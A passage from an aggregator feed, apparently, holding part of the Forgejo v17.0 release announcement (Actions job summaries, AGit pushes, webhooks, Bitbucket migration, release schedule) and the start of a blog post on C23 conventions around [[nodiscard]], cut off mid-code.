&lt;li&gt;The HTTP endpoints for obtaining job logs gained substring filters &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/12821&quot;&gt;!12821&lt;/a&gt; and the ability to only return the logs of a particular step with &lt;code&gt;/jobs/{job_id}/logs?step=N&lt;/code&gt;. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/12799&quot;&gt;!12799&lt;/a&gt; In addition to plain text, the logs can be requested as NDJSON with &lt;code&gt;?format=ndjson&lt;/code&gt;. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/12820&quot;&gt;!12820&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/repos/{owner}/{repo}/actions/jobs/{job_id}&lt;/code&gt; enables users to get the details of a particular job. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/12799&quot;&gt;!12799&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Forgejo Actions job summaries&lt;/h3&gt;
&lt;p&gt;Forgejo now displays job summaries generated by Forgejo Runner 13.2 or newer. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/14076&quot;&gt;!14076&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Job summaries are Markdown documents that belong to a particular Forgejo Actions job. They are displayed above the logs. All Markdown features supported by Forgejo can be used — including tables, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://mermaid.ai/open-source/intro/syntax-reference.html&quot;&gt;Mermaid&lt;/a&gt; diagrams, and formulas written in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://katex.org/&quot;&gt;KaTeX&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://forgejo.org/_astro/actions-step-summary.BSNwEhUM_ZwxP1i.webp&quot; alt=&quot;A summary of an example job showing TUnit test results and a Mermaid diagram&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Job summaries are assembled from one or more Markdown fragments that are written by a step to the file &lt;code&gt;$FORGEJO_STEP_SUMMARY&lt;/code&gt;. &lt;code&gt;$GITHUB_STEP_SUMMARY&lt;/code&gt; is supported, too, for compatibility with existing actions and easing the transition from GitHub.&lt;/p&gt;
&lt;h3&gt;Allow pushing to AGit refs&lt;/h3&gt;
&lt;p&gt;Maintainers and pull-requests creators can now directly push to the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forgejo.org/docs/latest/user/git-cli/agit-support/&quot;&gt;AGit&lt;/a&gt; refs:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; Pull Request Creator&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; checkout&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;b&lt;/span&gt; local-branch&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; push origin HEAD:refs/for/main/agit-topic&lt;/span&gt;

&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; Maintainer/Reviewer can pull the code to a local branch&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; fetch origin refs/pull/3/head:local-branch&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; switch local-branch&lt;/span&gt;

&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; Maintainers and Pull Request creator need some further git config&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; config push.default upstream&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; config branch.local-branch.merge refs/pull/3/head&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; config branch.local-branch.remote origin&lt;/span&gt;

&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; NEW: Maintainer and Pull Request creator can now (force) push and pull to this ref&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; push&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; pull&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Webhook notifications for workflow jobs&lt;/h3&gt;
&lt;p&gt;More events have been added to Forgejo’s webhooks. Webhooks can now be triggered when the status of a Forgejo Actions workflow job changes. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/14334&quot;&gt;!14334&lt;/a&gt; As usual, it is possible to receive notifications in various chat applications like Discord or Matrix. Alternatively, Forgejo is able to notify a remote server using an HTTP request. Users have the possibility to select which statuses, like “waiting” or “cancelled,” they want to receive notifications for.&lt;/p&gt;
&lt;p&gt;While prior versions of Forgejo could already trigger notifications for “action runs,” that capability was limited to completion events. It has been enhanced to match the capabilities of workflow job events. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/14351&quot;&gt;!14351&lt;/a&gt; Users can now select which statuses they want to receive notifications for. The old “action runs” events have been deprecated and will be removed in a future Forgejo version.&lt;/p&gt;
&lt;h3&gt;Repository migration from Bitbucket Data Center&lt;/h3&gt;
&lt;p&gt;Forgejo can now migrate repositories from Bitbucket Data center (formerly Bitbucket Server). Pull requests, reviews, comments (including multi-line comments), threads and replies can also be imported during the process. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/13288&quot;&gt;!13288&lt;/a&gt; Authentication uses an HTTP access token, and “HTTPS SCM Hosting” must be enabled on Bitbucket as Forgejo migrations clone over HTTPS.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://forgejo.org/_astro/2026-10-bitbucket-data-center.OTqq5qJB_1qpLOK.webp&quot; alt=&quot;Migration page showing all the platforms repositories can be migrated from, which now includes a &amp;quot;BitbucketDC&amp;quot; entry&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h3&gt;Migration of repository avatars&lt;/h3&gt;
&lt;p&gt;When migrating repositories from Gogs, Gitlab, Gitea, or Forgejo, the repository avatar images are now migrated, too. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/pulls/12921&quot;&gt;!12921&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Backup documentation&lt;/h3&gt;
&lt;p&gt;A new guide on &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forgejo.org/docs/latest/admin/setup/backup/&quot;&gt;how to backup and restore&lt;/a&gt; a Forgejo instance has been added to Forgejo’s documentation. In particular, it points out the most important secrets that need to be backed up for proper instance restoration.&lt;/p&gt;
&lt;h2&gt;Release schedule and Long Term Support&lt;/h2&gt;
&lt;p&gt;Based on &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forgejo.org/docs/v17.0/admin/release-schedule/&quot;&gt;the release schedule&lt;/a&gt;, major releases are published every three months. Patch releases are published more frequently, depending on the severity of the bug or security fixes they contain. Forgejo v17.0 is a non-LTS release. It will be supported until &lt;strong&gt;28 January 2027&lt;/strong&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Version&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Release date&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;End Of Life&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;15.0 (LTS)&lt;/td&gt;
&lt;td&gt;16 April 2026&lt;/td&gt;
&lt;td&gt;15 July 2027&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16.0&lt;/td&gt;
&lt;td&gt;16 July 2026&lt;/td&gt;
&lt;td&gt;29 October 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17.0&lt;/td&gt;
&lt;td&gt;15 October 2026&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;28 January 2027&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18.0&lt;/td&gt;
&lt;td&gt;14 January 2027&lt;/td&gt;
&lt;td&gt;29 April 2027&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19.0 (LTS)&lt;/td&gt;
&lt;td&gt;15 April 2027&lt;/td&gt;
&lt;td&gt;13 July 2028&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;17.0-test daily releases&lt;/h3&gt;
&lt;p&gt;Releases are built daily from the latest changes found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/src/branch/v17.0/forgejo&quot;&gt;v17.0/forgejo&lt;/a&gt; development branch. They are deployed to the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://v17.next.forgejo.org&quot;&gt;https://v17.next.forgejo.org&lt;/a&gt; instance for manual verification in case a bug fix is of particular interest ahead of the next patch release. It can also be installed locally with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OCI images: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo-experimental/-/packages/container/forgejo/17.0-test&quot;&gt;root&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo-experimental/-/packages/container/forgejo/17.0-test-rootless&quot;&gt;rootless&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo-experimental/forgejo/releases/tag/v17.0-test&quot;&gt;Binaries&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Their names are staying the same, but they are replaced by new builds every day.&lt;/p&gt;
&lt;h2&gt;Get Forgejo v17.0&lt;/h2&gt;
&lt;p&gt;See the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forgejo.org/download/&quot;&gt;download page&lt;/a&gt; for instructions on how to install Forgejo.&lt;/p&gt;
&lt;h3&gt;Upgrading&lt;/h3&gt;
&lt;p&gt;Carefully read the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/src/branch/forgejo/release-notes-published/17.0.0.md&quot;&gt;breaking changes&lt;/a&gt; section of the release notes.&lt;/p&gt;
&lt;p&gt;The actual upgrade process is as simple as replacing the binary or container image with the corresponding &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/releases/tag/v17.0.0&quot;&gt;Forgejo binary&lt;/a&gt; or &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/-/packages/container/forgejo/17.0.0&quot;&gt;container image&lt;/a&gt;. If you’re using the container images, you can use the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/-/packages/container/forgejo/17.0&quot;&gt;&lt;code&gt;17.0&lt;/code&gt; tag&lt;/a&gt; to stay up to date with the latest &lt;code&gt;17.0.Y&lt;/code&gt; patch release automatically.&lt;/p&gt;
&lt;p&gt;Make sure to check the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forgejo.org/docs/v17.0/admin/upgrade&quot;&gt;Forgejo upgrade documentation&lt;/a&gt; for recommendations on how to properly back up your instance before the upgrade.&lt;/p&gt;
&lt;h2&gt;Contribute to Forgejo&lt;/h2&gt;
&lt;p&gt;If you have any feedback or suggestions for Forgejo, do not hold back; it is also your project. Open an issue in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/forgejo/issues&quot;&gt;the issue tracker&lt;/a&gt; for feature requests or bug reports, reach out &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://floss.social/@forgejo&quot;&gt;on the Fediverse&lt;/a&gt;, or drop into &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://matrix.to/#/#forgejo:matrix.org&quot;&gt;the Matrix space&lt;/a&gt; (&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://matrix.to/#/#forgejo-chat:matrix.org&quot;&gt;main chat room&lt;/a&gt;) and say hi!&lt;/p&gt;
&lt;h3&gt;Donate&lt;/h3&gt;
&lt;p&gt;Forgejo is proud to be &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/sustainability/&quot;&gt;funded transparently&lt;/a&gt;. Additionally, it accepts donations &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://liberapay.com/forgejo&quot;&gt;through Liberapay&lt;/a&gt;. It is also possible to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://docs.codeberg.org/improving-codeberg/donate/&quot;&gt;donate to Codeberg e.V.&lt;/a&gt; in case the Liberapay option does not work out for you, and part of the funding is used to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/sustainability/#forgejo-resources-per-year&quot;&gt;compensate for work on Forgejo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;However, the Liberapay team allows for money to go directly to developers without a round-trip to Codeberg. Additionally, Liberapay allows for a steady and reliable funding stream next to other options, a crucial aspect for the project. The distribution of funds through Liberapay is &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/forgejo/governance/src/branch/main/TEAMS.md#liberapay-team-members&quot;&gt;transparently controlled using the decision-making process&lt;/a&gt;, and Forgejo contributors are encouraged to consider applying to benefit from this funding opportunity.&lt;/p&gt;
&lt;p&gt;Thank you for using Forgejo and considering a donation, if your financial situation allows.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:30606cb70eb4e7f84f6bdd70afea228b1000544d</id>
    <title type="text">My C23 Conventions</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-15-my-c23-conventions/"/>
    <link rel="via" type="text/html" href="https://abner.page/post/c23-conventions-1/"/>
    <published>2026-10-15T15:32:15+00:00</published>
    <updated>2026-10-15T15:32:15+00:00</updated>
    <author>
      <name>abner.page by abnercoimbre</name>
    </author>
    <category term="news"/>
    <category term="c"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;This is one of a three-part mini series about how I’m using modern C as of late 2026.&lt;/p&gt;
&lt;p&gt;Before C23, I was &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=443UNeGrFoM&quot;&gt;taken in&lt;/a&gt; by &lt;em&gt;How I Program C&lt;/em&gt; for years and years, and would even feel guilty for choosing C99 instead of &lt;code&gt;-ansi -pedantic&lt;/code&gt;. But holy crap man I’m done being a doomsday prepper! These days I maintain a large-enough project with enough users where I could stand less foot-shooting. (I’ve also got bills to pay.)&lt;/p&gt;
&lt;p&gt;So here’s three modern C conventions which started to rise naturally from adding &lt;code&gt;-std=c23&lt;/code&gt; to my zig build:&lt;/p&gt;
&lt;h2&gt;1. Unused? Maybe. (Yes)&lt;/h2&gt;
&lt;p&gt;Our first convention is centered around &lt;code&gt;[[nodiscard]]&lt;/code&gt;. If I draw an app window or panel I require the caller to interrogate the rect of the thing that was just rendered:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;nodiscard&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt; rect_t &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;draw_screen&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-comment syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;/*&lt;/span&gt; ... &lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;*/&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;
    rect_t screen_r &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; Draw stuff
&lt;/span&gt;    &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; ...
&lt;/span&gt;    &lt;span class=&quot;syntax-keyword syntax-control syntax-c&quot;&gt;return&lt;/span&gt; screen_r&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s a genuine business logic bug if the caller doesn’t capture the rectangle for later processing. Therefore &lt;code&gt;[[nodiscard]]&lt;/code&gt; has been such a godsend for fixing bugs… Except there’s a choice few instances where I will draw something with &lt;em&gt;no real use&lt;/em&gt; for the resulting rect. I’d rather ignore the return value:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;enum&lt;/span&gt; screen_opt popup_options &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-comment syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;/*&lt;/span&gt; ... &lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;*/&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;draw_screen&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;popup_options&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-comment syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;/*&lt;/span&gt; ... &lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;*/&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; ERROR: damn you [[nodiscard]]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Clang will error out here. I could maybe capture the var and never use it but…&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;rect_t rect &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;draw_screen&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-comment syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;/*&lt;/span&gt; ... &lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;*/&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; ERROR: unused variable (I have `-Werror` enabled)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pre-C23 one might solve this through an &lt;code&gt;UNUSED()&lt;/code&gt; macro:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-c&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-import syntax-c&quot;&gt;#ifndef&lt;/span&gt; UNUSED
